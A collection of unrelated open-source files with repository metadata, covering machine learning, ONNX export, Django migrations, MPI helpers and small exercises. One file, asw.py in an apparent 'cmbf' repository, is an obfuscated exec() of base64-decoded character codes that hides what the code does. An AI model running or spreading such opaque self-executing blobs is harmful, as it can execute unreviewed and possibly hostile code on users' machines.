5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/centernet_det/src/__init__.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
46.133333
102
0.744942
81362efadd62dbff19cbdfa3d1a1e494298722b2
10,326
py
Python
PPO-PyTorch/PPO.py
xixiha5230/RL
cc957a4231263074b8cf7fad6ba276f4b3899670
[ "MIT" ]
null
null
null
PPO-PyTorch/PPO.py
xixiha5230/RL
cc957a4231263074b8cf7fad6ba276f4b3899670
[ "MIT" ]
null
null
null
PPO-PyTorch/PPO.py
xixiha5230/RL
cc957a4231263074b8cf7fad6ba276f4b3899670
[ "MIT" ]
null
null
null
import torch import torch.nn as nn from torch.distributions import MultivariateNormal from torch.distributions import Categorical ################################## set device ################################## print("============================================================================================") # set ...
40.653543
144
0.541642
07c72f9d84a3bc13d0f715cbecb351b518ef0412
5,298
py
Python
oneflow/python/onnx/graph_builder.py
wanghongsheng01/framework_enflame
debf613e05e3f5ea8084c3e79b60d0dd9e349526
[ "Apache-2.0" ]
2
2021-09-10T00:19:49.000Z
2021-11-16T11:27:20.000Z
oneflow/python/onnx/graph_builder.py
duijiudanggecl/oneflow
d2096ae14cf847509394a3b717021e2bd1d72f62
[ "Apache-2.0" ]
1
2021-06-16T08:37:50.000Z
2021-06-16T08:37:50.000Z
oneflow/python/onnx/graph_builder.py
duijiudanggecl/oneflow
d2096ae14cf847509394a3b717021e2bd1d72f62
[ "Apache-2.0" ]
1
2021-11-10T07:57:01.000Z
2021-11-10T07:57:01.000Z
""" Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agr...
35.086093
103
0.61023
ed5687e574db4527e639fe8807928e467a42bc66
543
py
Python
testespoo.py
PedroPegado/POO
3fbf36d77770b7c03d829b1eb0bd59eb4750a1cf
[ "MIT" ]
null
null
null
testespoo.py
PedroPegado/POO
3fbf36d77770b7c03d829b1eb0bd59eb4750a1cf
[ "MIT" ]
null
null
null
testespoo.py
PedroPegado/POO
3fbf36d77770b7c03d829b1eb0bd59eb4750a1cf
[ "MIT" ]
null
null
null
class Carro: def __init__(self, marca, marcha, cor): self.marca = marca self.marcha = marcha self.cor = cor def ligar(self): print('LIGANDO... VRUM VRUM') def desligar(self): print('UuUeUmmmm, DESLIGANDO...') def manual_do_carro(self): print(self.ma...
20.884615
48
0.616943
9c5d3057010d834dc025be8a0df8674d99534999
1,755
py
Python
toc-template.py
fmtree-dev/md-toc-action
8b7749c54fd684f716d896c7e9a8eea2d023aac8
[ "MIT" ]
null
null
null
toc-template.py
fmtree-dev/md-toc-action
8b7749c54fd684f716d896c7e9a8eea2d023aac8
[ "MIT" ]
1
2021-03-09T01:04:47.000Z
2021-03-09T01:04:47.000Z
toc-template.py
fmtree-dev/md-toc-action
8b7749c54fd684f716d896c7e9a8eea2d023aac8
[ "MIT" ]
null
null
null
import sys import argparse import pathlib2 from typing import List, Iterable from fmtree.scraper import Scraper from fmtree.filter import MarkdownFilter from fmtree.format import GithubMarkdownContentFormatter from fmtree import sorter from fmtree.node import FileNode class OSCPExerciseSorter(sorter.BaseSorter): ...
43.875
103
0.620513
6a30390ac936556868c84927f6efc147905d2e03
671
py
Python
exercises/ja/solution_01_12_01.py
tuanducdesign/spacy-course
f8d092c5fa2997fccb3f367d174dce8667932b3d
[ "MIT" ]
2
2020-07-07T01:46:37.000Z
2021-04-20T03:19:43.000Z
exercises/ja/solution_01_12_01.py
tuanducdesign/spacy-course
f8d092c5fa2997fccb3f367d174dce8667932b3d
[ "MIT" ]
null
null
null
exercises/ja/solution_01_12_01.py
tuanducdesign/spacy-course
f8d092c5fa2997fccb3f367d174dce8667932b3d
[ "MIT" ]
null
null
null
import spacy from spacy.matcher import Matcher nlp = spacy.load("ja_core_news_sm") matcher = Matcher(nlp.vocab) doc = nlp( "iOSのアップデートを行っても、システム全体のデザインが大幅に変更されていることには" "気づかないでしょう。iOS 7で得た美的な激変のようなものは何もありません。iOS 11の" "中身のほとんどは、iOS 10と同じです。しかし、もう少し掘り下げると、いくつかの工夫を" "発見できるでしょう。" ) # iOSバージョンのパターンを書いてください...
26.84
54
0.734724
e03f218a051c9ed2132ca3045d59e1494a54ff70
1,658
py
Python
CAL/a9/primality.py
joao-frohlich/BCC
9ed74eb6d921d1280f48680677a2140c5383368d
[ "Apache-2.0" ]
10
2020-12-08T20:18:15.000Z
2021-06-07T20:00:07.000Z
CAL/a9/primality.py
joao-frohlich/BCC
9ed74eb6d921d1280f48680677a2140c5383368d
[ "Apache-2.0" ]
2
2021-06-28T03:42:13.000Z
2021-06-28T16:53:13.000Z
CAL/a9/primality.py
joao-frohlich/BCC
9ed74eb6d921d1280f48680677a2140c5383368d
[ "Apache-2.0" ]
2
2021-01-14T19:59:20.000Z
2021-06-15T11:53:21.000Z
from random import randrange as rand def generate(n, num): primos = set() num += 1 while len(primos) < n: num += 2 for i in range(2, num): if (num % i) == 0: break else: primos.add(num) return list(primos) def witness(a, s, d, n): x...
20.725
65
0.515682
169912c2baf7f538bcc748ece9b10b6d7d5f115d
2,913
py
Python
gemtown/songs/migrations/0002_auto_20190420_1510.py
doramong0926/gemtown
2c39284e3c68f0cc11994bed0ee2abaad0ea06b6
[ "MIT" ]
null
null
null
gemtown/songs/migrations/0002_auto_20190420_1510.py
doramong0926/gemtown
2c39284e3c68f0cc11994bed0ee2abaad0ea06b6
[ "MIT" ]
5
2020-09-04T20:13:39.000Z
2022-02-17T22:03:33.000Z
gemtown/songs/migrations/0002_auto_20190420_1510.py
doramong0926/gemtown
2c39284e3c68f0cc11994bed0ee2abaad0ea06b6
[ "MIT" ]
null
null
null
# Generated by Django 2.0.13 on 2019-04-20 06:10 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('musicians', '0002_musician_creator'), migrations.swappable_dep...
38.84
134
0.622726
169ef182db4f1837c8a7b339f045c8c55f3024d4
451
py
Python
数据结构/NowCode/2_JumpFloor.py
Blankwhiter/LearningNotes
83e570bf386a8e2b5aa699c3d38b83e5dcdd9cb0
[ "MIT" ]
null
null
null
数据结构/NowCode/2_JumpFloor.py
Blankwhiter/LearningNotes
83e570bf386a8e2b5aa699c3d38b83e5dcdd9cb0
[ "MIT" ]
3
2020-08-14T07:50:27.000Z
2020-08-14T08:51:06.000Z
数据结构/NowCode/2_JumpFloor.py
Blankwhiter/LearningNotes
83e570bf386a8e2b5aa699c3d38b83e5dcdd9cb0
[ "MIT" ]
2
2021-03-14T05:58:45.000Z
2021-08-29T17:25:52.000Z
# 一只青蛙一次可以跳上1级台阶,也可以跳上2级。求该青蛙跳上一个n级的台阶总共有多少种跳法(先后次序不同算不同的结果) class Solution: def JumpFloor(self, n): if n == 0: return 0; if n == 1: return 1; if n == 2: return 2; ret = 0 a = 1 b = 2 for i in range(3, n + 1): r...
21.47619
60
0.445676
16e42e3d275dfbde29ff6db9d24880f13ae1e50c
5,086
py
Python
scripts/renormalon_fit.py
puv13/nspt-scripts
bba4c794858f34894adc2f82fd530ed5ff52f691
[ "MIT" ]
null
null
null
scripts/renormalon_fit.py
puv13/nspt-scripts
bba4c794858f34894adc2f82fd530ed5ff52f691
[ "MIT" ]
null
null
null
scripts/renormalon_fit.py
puv13/nspt-scripts
bba4c794858f34894adc2f82fd530ed5ff52f691
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Script to extract asymptotic renormalon behaviour from Principal Chiral model data for different rank N. In the limit of n \to \infty the ratio r_n := E_n/(E_(n-1)*n) should approach a fixed value, independent of N. We can therefore (for large n) fit a ...
25.817259
80
0.448683
bc561b5692133e8d4f91a56cc6a80d8fddb4aedb
415
py
Python
firmware/logs/lightsensor/plot.py
OpenRoberta/experiments-calliope-ar
0411e891b28f495ba6fbe0ac6c12d3bd569dda3c
[ "Apache-2.0" ]
null
null
null
firmware/logs/lightsensor/plot.py
OpenRoberta/experiments-calliope-ar
0411e891b28f495ba6fbe0ac6c12d3bd569dda3c
[ "Apache-2.0" ]
null
null
null
firmware/logs/lightsensor/plot.py
OpenRoberta/experiments-calliope-ar
0411e891b28f495ba6fbe0ac6c12d3bd569dda3c
[ "Apache-2.0" ]
1
2021-08-05T14:43:10.000Z
2021-08-05T14:43:10.000Z
import matplotlib.pyplot as plt with open('03chaoticdata/01/01.txt', 'r') as f: lines = f.readlines() x = [float(line.split()[0]) for line in lines] #y = [float(line.split()[1]) for line in lines] plt.ylabel('LightValue') plt.xlabel('Measurement') axes = plt.gca() #axes.set_xlim([xmin,xmax]) axes.set_ylim([...
29.642857
51
0.681928
bcfb64225028e1ce5f45421cc4d4e168f8fd9cf7
619
py
Python
Persistence/since.py
simonbredemeier/ds100bot
1318b32b818891f4bc6d24f12fcf0ceae898f8bd
[ "Apache-2.0" ]
15
2019-12-20T08:24:31.000Z
2022-03-18T09:24:25.000Z
Persistence/since.py
simonbredemeier/ds100bot
1318b32b818891f4bc6d24f12fcf0ceae898f8bd
[ "Apache-2.0" ]
124
2020-04-20T04:36:49.000Z
2022-01-29T11:08:09.000Z
Persistence/since.py
simonbredemeier/ds100bot
1318b32b818891f4bc6d24f12fcf0ceae898f8bd
[ "Apache-2.0" ]
12
2020-07-08T22:19:39.000Z
2022-03-19T09:13:11.000Z
# pylint: disable=C0114 def get_since_id(sql): sql.cursor.execute(""" SELECT content FROM last WHERE subject = 'since_id' """) row = sql.cursor.fetchone() if row is None: return 0 try: return int(row[0]) except Valu...
18.205882
36
0.46042
4c61d6de9a8cdbde4216348587aac3b840577cbd
114
py
Python
src/standard_module/hashlib_module.py
HuangHuaBingZiGe/GitHub-Demo
f3710f73b0828ef500343932d46c61d3b1e04ba9
[ "Apache-2.0" ]
null
null
null
src/standard_module/hashlib_module.py
HuangHuaBingZiGe/GitHub-Demo
f3710f73b0828ef500343932d46c61d3b1e04ba9
[ "Apache-2.0" ]
null
null
null
src/standard_module/hashlib_module.py
HuangHuaBingZiGe/GitHub-Demo
f3710f73b0828ef500343932d46c61d3b1e04ba9
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- """ hashlib.sha256 hashlib.sha256.update hashlib.sha256.hexdigest """
11.4
24
0.666667
5df828351d57855f3bbda17684f91a3bf9500bb9
792
py
Python
leetcode/299-Bulls-and-Cows/BullsandCows_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2017-05-18T06:11:02.000Z
2017-05-18T06:11:02.000Z
leetcode/299-Bulls-and-Cows/BullsandCows_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2016-02-09T06:00:07.000Z
2016-02-09T07:20:13.000Z
leetcode/299-Bulls-and-Cows/BullsandCows_001.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
2
2019-06-27T09:07:26.000Z
2019-07-01T04:40:13.000Z
class Solution(object): def getHint(self, secret, guess): """ :type secret: str :type guess: str :rtype: str """ nbulls, ncows = 0, 0 s, g = {}, {} for i in range(len(secret)): if secret[i] == guess[i]: nbulls += 1 ...
30.461538
51
0.343434
5d0dfe09260f678106f2305c8a8d6d2d7a9bc138
2,849
py
Python
tests/service/test_json_data_loader.py
jonashellmann/informaticup21-team-chillow
f2e519af0a5d9a9368d62556703cfb1066ebb58f
[ "MIT" ]
3
2021-01-17T23:32:07.000Z
2022-01-30T14:49:16.000Z
tests/service/test_json_data_loader.py
jonashellmann/informaticup21-team-chillow
f2e519af0a5d9a9368d62556703cfb1066ebb58f
[ "MIT" ]
2
2021-01-17T13:37:56.000Z
2021-04-14T12:28:49.000Z
tests/service/test_json_data_loader.py
jonashellmann/informaticup21-team-chillow
f2e519af0a5d9a9368d62556703cfb1066ebb58f
[ "MIT" ]
2
2021-04-02T14:53:38.000Z
2021-04-20T11:10:17.000Z
import unittest from datetime import datetime, timezone from chillow.model.game import Game from chillow.model.player import Player from chillow.model.cell import Cell from chillow.model.direction import Direction from chillow.service.data_loader import JSONDataLoader import tests class JSONDataWriterTest(unittest....
36.063291
74
0.608635
5d3c6b2e0d8554ec8a35861f69f55629312c0f0c
5,376
py
Python
python/oneflow/compatible/single_client/test/ops/test_copy_comm_net_pass_empty.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
3,285
2020-07-31T05:51:22.000Z
2022-03-31T15:20:16.000Z
python/oneflow/compatible/single_client/test/ops/test_copy_comm_net_pass_empty.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
2,417
2020-07-31T06:28:58.000Z
2022-03-31T23:04:14.000Z
python/oneflow/compatible/single_client/test/ops/test_copy_comm_net_pass_empty.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
520
2020-07-31T05:52:42.000Z
2022-03-29T02:38:11.000Z
""" Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agr...
36.821918
86
0.585193
070dbfe75d343726bb03bc54c02c4e092509fabd
66
py
Python
models/test_box_plot.py
zaqwes8811/voicegen
938e26d9e83c8be9df830698aa5b65cb904dd2eb
[ "Apache-2.0" ]
null
null
null
models/test_box_plot.py
zaqwes8811/voicegen
938e26d9e83c8be9df830698aa5b65cb904dd2eb
[ "Apache-2.0" ]
null
null
null
models/test_box_plot.py
zaqwes8811/voicegen
938e26d9e83c8be9df830698aa5b65cb904dd2eb
[ "Apache-2.0" ]
null
null
null
# http://matplotlib.org/examples/pylab_examples/boxplot_demo.html
33
65
0.833333
ab165f98dc6032c66a45a2440792db2e9d554ca4
433
py
Python
mysql-proxy/code.py
lichtwellenreiter/dockerfiles
bad31b1dafffdf95cfc7a83c7f012ae80245b501
[ "MIT" ]
null
null
null
mysql-proxy/code.py
lichtwellenreiter/dockerfiles
bad31b1dafffdf95cfc7a83c7f012ae80245b501
[ "MIT" ]
null
null
null
mysql-proxy/code.py
lichtwellenreiter/dockerfiles
bad31b1dafffdf95cfc7a83c7f012ae80245b501
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import select from systemd import journal j = journal.Reader() j.log_level(journal.LOG_INFO) j.add_match(CONTAINER_NAME="mysql-proxy") j.seek_tail() j.get_previous() p = select.poll() p.register(j, j.get_events()) while p.poll(): if j.process() != journal.APPEND: continue for ...
20.619048
71
0.672055
db4726ad7c7e24bb5402f12766d3d72a51b6eeac
821
py
Python
pandasguide/com/aaron/partnumber_app.py
qsunny/python
ace8c3178a9a9619de2b60ca242c2079dd2f825e
[ "MIT" ]
null
null
null
pandasguide/com/aaron/partnumber_app.py
qsunny/python
ace8c3178a9a9619de2b60ca242c2079dd2f825e
[ "MIT" ]
2
2021-03-25T22:00:07.000Z
2022-01-20T15:51:48.000Z
pandasguide/com/aaron/partnumber_app.py
qsunny/python
ace8c3178a9a9619de2b60ca242c2079dd2f825e
[ "MIT" ]
null
null
null
import pandas as pd from pandas import DataFrame import logging import json logging.basicConfig( filename='application.log', level=logging.WARNING, format= '[%(asctime)s] {%(pathname)s:%(lineno)d} %(levelname)s - %(message)s', datefmt='%H:%M:%S' ) if __name__ == '__main__': csv_file_path = 'E:/a...
24.878788
94
0.590743
db6879722c4edac9565780bb0348b1c3662ba05e
2,687
py
Python
3_DeepLearning-CNNs/03_CNN_MNIST_Classification/3-FilterVisualization.py
felixdittrich92/DeepLearning-tensorflow-keras
2880d8ed28ba87f28851affa92b6fa99d2e47be9
[ "Apache-2.0" ]
null
null
null
3_DeepLearning-CNNs/03_CNN_MNIST_Classification/3-FilterVisualization.py
felixdittrich92/DeepLearning-tensorflow-keras
2880d8ed28ba87f28851affa92b6fa99d2e47be9
[ "Apache-2.0" ]
null
null
null
3_DeepLearning-CNNs/03_CNN_MNIST_Classification/3-FilterVisualization.py
felixdittrich92/DeepLearning-tensorflow-keras
2880d8ed28ba87f28851affa92b6fa99d2e47be9
[ "Apache-2.0" ]
null
null
null
import os import numpy as np import matplotlib.pyplot as plt from tensorflow.keras.datasets import mnist from tensorflow.keras.utils import to_categorical from tensorflow.keras.layers import * from tensorflow.keras.activations import * from tensorflow.keras.models import * from tensorflow.keras.optimizers import * fr...
25.590476
78
0.732415
9162bd2068e3963ab5f318d6bd9095e18eb41fc7
520
gyp
Python
node_modules/keccak/binding.gyp
DonaldPeat/ether-campaign
ce3430d468a235d952080313c5bae14f3a895497
[ "MIT" ]
27
2017-07-10T04:13:14.000Z
2022-03-01T21:13:59.000Z
node_modules/keccak/binding.gyp
DonaldPeat/ether-campaign
ce3430d468a235d952080313c5bae14f3a895497
[ "MIT" ]
13
2020-01-08T22:49:49.000Z
2021-12-17T21:09:09.000Z
api/node_modules/keccak/binding.gyp
ivan24400/Anarik
aaf3dd89b8c43193d4597d7cb47ad265d9c01d63
[ "MIT" ]
25
2020-11-21T13:21:20.000Z
2022-01-05T02:27:35.000Z
{ "targets": [{ "target_name": "keccak", "sources": [ "./src/addon.cc", "./src/libkeccak/KeccakSponge.c", "./src/libkeccak/KeccakP-1600-reference.c" ], "include_dirs": [ "<!(node -e \"require('nan')\")" ], "defines": [ "KeccakP200_excluded=1", "KeccakP400_ex...
20
48
0.505769
72aef6e415eda692815112bd07a3399f994cbcd6
4,314
py
Python
utils/metrics/unsupervised_metrics.py
kkahloots/Generative-Models-03
5399fb8a504543b0a4196a81b182ead79ee247df
[ "MIT" ]
null
null
null
utils/metrics/unsupervised_metrics.py
kkahloots/Generative-Models-03
5399fb8a504543b0a4196a81b182ead79ee247df
[ "MIT" ]
null
null
null
utils/metrics/unsupervised_metrics.py
kkahloots/Generative-Models-03
5399fb8a504543b0a4196a81b182ead79ee247df
[ "MIT" ]
null
null
null
import numpy as np import scipy as sp import threading as t import dask.array as da from dask import delayed from sklearn import metrics from dask_ml.decomposition import PCA def compute_unsupervised_metrics(latent, y, discretize): scores = {} cov_latent = da.cov(latent) # Gaussian total corre...
36.559322
146
0.657395
f4485dc6b8ddbd053cad3f751ed3f5f8306ecef7
596
py
Python
tests/test_parameter.py
goosechooser/benwaonline
e2879412aa6c3c230d25cd60072445165517b6b6
[ "MIT" ]
null
null
null
tests/test_parameter.py
goosechooser/benwaonline
e2879412aa6c3c230d25cd60072445165517b6b6
[ "MIT" ]
16
2017-09-13T10:21:40.000Z
2020-06-01T04:32:22.000Z
tests/test_parameter.py
goosechooser/benwaonline
e2879412aa6c3c230d25cd60072445165517b6b6
[ "MIT" ]
null
null
null
import pytest from benwaonline import query from benwaonline.entities import Post, Tag from benwaonline.gateways import Parameter def test_parameter_init(): params = { 'page_size': 0, 'fields': {'user': ['username']} } expected = { 'include': 'user,posts', 'page[size]': 0, ...
27.090909
82
0.620805
f482f1c1a61a599c75fa63d5f8c1d64b4f6a31ee
253
py
Python
02.Sort/SY/p42748_SY.py
SP2021-2/Algorithm
2e629eb5234212fad8bbc11491aad068e5783780
[ "MIT" ]
1
2021-11-21T06:03:06.000Z
2021-11-21T06:03:06.000Z
02.Sort/SY/p42748_SY.py
SP2021-2/Algorithm
2e629eb5234212fad8bbc11491aad068e5783780
[ "MIT" ]
2
2021-10-13T07:21:09.000Z
2021-11-14T13:53:08.000Z
02.Sort/SY/p42748_SY.py
SP2021-2/Algorithm
2e629eb5234212fad8bbc11491aad068e5783780
[ "MIT" ]
null
null
null
#p42748_SY def solution(array, commands): answer = [] for l in range(len(commands)) : i, j, k = commands[l][0] - 1, commands[l][1] - 1, commands[l][2] - 1 arr = sorted(array[i:j+1]) answer.append(arr[k]) return answer
31.625
76
0.561265
be54e47a0c09784123e32320d7bf4d9054221df3
19,377
py
Python
hisim/simulator.py
sdickler/HiSim
09a11d99f220f7cadb3cb7b09a6fce8f147243c8
[ "MIT" ]
null
null
null
hisim/simulator.py
sdickler/HiSim
09a11d99f220f7cadb3cb7b09a6fce8f147243c8
[ "MIT" ]
null
null
null
hisim/simulator.py
sdickler/HiSim
09a11d99f220f7cadb3cb7b09a6fce8f147243c8
[ "MIT" ]
null
null
null
import os import logging import numpy as np import datetime # Other Libraries from typing import List, Dict, Any from typing import Tuple import pandas as pd import warnings import time # Owned from hisim.postprocessing import postprocessing_main as pp import hisim.component as cp from hisim.simulationparameters im...
45.167832
168
0.581463
be732f9971ef9619dc410e74993ed35c740393e4
2,031
py
Python
src/lexer.py
strellic/PulseLang
72730ec4c2967f004e9bf19dcd7bbef097824973
[ "MIT" ]
1
2020-09-24T05:57:25.000Z
2020-09-24T05:57:25.000Z
src/lexer.py
strellic/PulseLang
72730ec4c2967f004e9bf19dcd7bbef097824973
[ "MIT" ]
null
null
null
src/lexer.py
strellic/PulseLang
72730ec4c2967f004e9bf19dcd7bbef097824973
[ "MIT" ]
null
null
null
# Pulse tokenizer / lexer from error import error from sly import Lexer class PulseLexer(Lexer): tokens = { 'PRINT', 'CONST', 'ELSE', 'EXTERN', 'FUNCTION', 'IF', 'RETURN', 'WHILE', 'VAR', 'ID', 'INTEGER', 'FLOAT', 'CHAR', 'BOOL', 'PLUS', 'MINUS', 'TIMES', 'DIVIDE', 'ASSIGN', 'SEMI'...
20.938144
87
0.425406
be802fd097aecc0a9484a963dbd9fa31c6b974b5
1,232
py
Python
tests/test_kosten.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
1
2022-03-02T12:49:44.000Z
2022-03-02T12:49:44.000Z
tests/test_kosten.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
21
2022-02-04T07:38:46.000Z
2022-03-28T14:01:53.000Z
tests/test_kosten.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
null
null
null
import pytest # type:ignore[import] from bo4e.bo.kosten import Kosten, KostenSchema from bo4e.com.kostenblock import Kostenblock from bo4e.enum.kostenklasse import Kostenklasse from tests.serialization_helper import assert_serialization_roundtrip # type:ignore[import] from tests.test_betrag import example_betrag # ...
29.333333
92
0.676136
bea619585cd3b8c73c21f5e5e01ec443f880e189
635
py
Python
kicker_pong/GameBar_Model.py
GeorgJohn/kicker_pong_git
2263737cab1f74f324772855028f8a4c3b23c4de
[ "MIT" ]
null
null
null
kicker_pong/GameBar_Model.py
GeorgJohn/kicker_pong_git
2263737cab1f74f324772855028f8a4c3b23c4de
[ "MIT" ]
null
null
null
kicker_pong/GameBar_Model.py
GeorgJohn/kicker_pong_git
2263737cab1f74f324772855028f8a4c3b23c4de
[ "MIT" ]
null
null
null
class GameBar: def __init__(self, position, speed, time_delta): self._position = position self._next_position = -1 self._speed = speed self._time = time_delta def get_position(self): return self._position def set_position(self, pos): self._position = pos ...
21.896552
52
0.63622
22bfa5f535b8114af00f54daed184ac9e5fb0b52
27,756
py
Python
cmbf-yc/dump/asw.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
cmbf-yc/dump/asw.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
cmbf-yc/dump/asw.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
# ECRYPT BY Boy HamzaH # Subscribe Cok Chanel YouTube Gua Anjing # Dan Jangan Lupa Follow Github Gua exec((lambda _____, ______ : ______(eval((lambda ____,__,_ : ____.join([_(___) for ___ in __]))('',[95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 34, 98, 97, 115, 101, 54, 52, 34, 41, 46, 98, 51, 50, 100, 101, 99, 1...
6,939
27,655
0.994992
22e45fc55a825373e5e73d98c55eb2b3f23ddf51
4,756
py
Python
transonic/mpi.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
88
2019-01-08T16:39:08.000Z
2022-02-06T14:19:23.000Z
transonic/mpi.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
13
2019-06-20T15:53:10.000Z
2021-02-09T11:03:29.000Z
transonic/mpi.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
1
2019-11-05T03:03:14.000Z
2019-11-05T03:03:14.000Z
"""Minimalist MPI module ======================== """ import os from pathlib import Path from time import time, sleep if "TRANSONIC_NO_MPI" in os.environ: nb_proc = 1 rank = 0 else: try: from fluiddyn.util import mpi as _mpi except ImportError: try: from mpi4py import MPI ...
24.389744
73
0.513457
4a5a90b4bc957a1a0a0dd87b172cb6b440281f8d
461
py
Python
Python/Courses/LearnToCodeInPython3ProgrammingBeginnerToAdvancedYourProgress/python_course/Section5FileHandling/09_file_handling.py
JamieBort/LearningDirectory
afca79c5f1333c079d0e96202ff44ca21b2ceb81
[ "Info-ZIP" ]
1
2022-02-02T21:56:08.000Z
2022-02-02T21:56:08.000Z
Python/Courses/LearnToCodeInPython3ProgrammingBeginnerToAdvancedYourProgress/python_course/Section5FileHandling/09_file_handling.py
JamieBort/LearningDirectory
afca79c5f1333c079d0e96202ff44ca21b2ceb81
[ "Info-ZIP" ]
27
2020-06-27T23:25:59.000Z
2022-02-27T20:40:56.000Z
Python/Courses/LearnToCodeInPython3ProgrammingBeginnerToAdvancedYourProgress/python_course/Section5FileHandling/09_file_handling.py
JamieBort/LearningDirectory
afca79c5f1333c079d0e96202ff44ca21b2ceb81
[ "Info-ZIP" ]
null
null
null
# f = open("./Python/LearnToCodeInPython3ProgrammingBeginnerToAdvancedYourProgress/python_course/test.txt") # print(f.read()) # f = open("./Python/LearnToCodeInPython3ProgrammingBeginnerToAdvancedYourProgress/python_course/test.txt", "a") # f.write("More text") f = open("./Python/LearnToCodeInPython3ProgrammingBeginn...
46.1
126
0.802603
4aa09531a5ccd2663aba031d3e325e49244bfc0a
1,146
py
Python
src/balldetection/SimpleHandBall.py
florianletsch/kinect-juggling
f320cc0b55adf65d338d25986a03106a7e3f46ef
[ "Unlicense", "MIT" ]
7
2015-11-27T09:53:32.000Z
2021-01-13T17:35:54.000Z
src/balldetection/SimpleHandBall.py
florianletsch/kinect-juggling
f320cc0b55adf65d338d25986a03106a7e3f46ef
[ "Unlicense", "MIT" ]
null
null
null
src/balldetection/SimpleHandBall.py
florianletsch/kinect-juggling
f320cc0b55adf65d338d25986a03106a7e3f46ef
[ "Unlicense", "MIT" ]
null
null
null
import math from src.Util import getcolour from src.balldetection.Ball import SimpleBall class SimpleHandBallFilter(object): def __init__(self): self.balls = [] def filter(self, rgb, depth, ball_positions, args={}): # try to update balls from last frame, remove non-updated balls for ...
34.727273
82
0.613438
60328fd7ee4eae3ee137fc8d58428ebac82e1ba6
2,506
py
Python
tests/rbac/common/task/create_task_helper_test.py
akgunkel/sawtooth-next-directory
a88833033ab30e9091479a38947f04c5e396ca46
[ "Apache-2.0" ]
null
null
null
tests/rbac/common/task/create_task_helper_test.py
akgunkel/sawtooth-next-directory
a88833033ab30e9091479a38947f04c5e396ca46
[ "Apache-2.0" ]
1
2019-07-08T22:32:43.000Z
2019-07-08T22:32:43.000Z
tests/rbac/common/task/create_task_helper_test.py
akgunkel/sawtooth-next-directory
a88833033ab30e9091479a38947f04c5e396ca46
[ "Apache-2.0" ]
null
null
null
# Copyright 2019 Contributors to Hyperledger Sawtooth # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
29.482353
79
0.702713
e0da179f42341942dd00ec84a08004a654bba8fd
960
py
Python
site/public/courses/DS-2.2/Assignments/keras_logistic_regression.py
KitsuneNoctus/makeschool
5eec1a18146abf70bb78b4ee3d301f6a43c9ede4
[ "MIT" ]
1
2021-08-24T20:22:19.000Z
2021-08-24T20:22:19.000Z
site/public/courses/DS-2.2/Assignments/keras_logistic_regression.py
KitsuneNoctus/makeschool
5eec1a18146abf70bb78b4ee3d301f6a43c9ede4
[ "MIT" ]
null
null
null
site/public/courses/DS-2.2/Assignments/keras_logistic_regression.py
KitsuneNoctus/makeschool
5eec1a18146abf70bb78b4ee3d301f6a43c9ede4
[ "MIT" ]
null
null
null
from keras.models import Sequential from keras.layers import Dense x, y = ... x_val, y_val = ... # 1-dimensional MSE linear regression in Keras model = Sequential() model.add(Dense(1, activation='linear', input_dim=x.shape[1])) model.compile(optimizer='rmsprop', loss='mse') model.fit(x, y, nb_epoch=10, vali...
35.555556
83
0.73125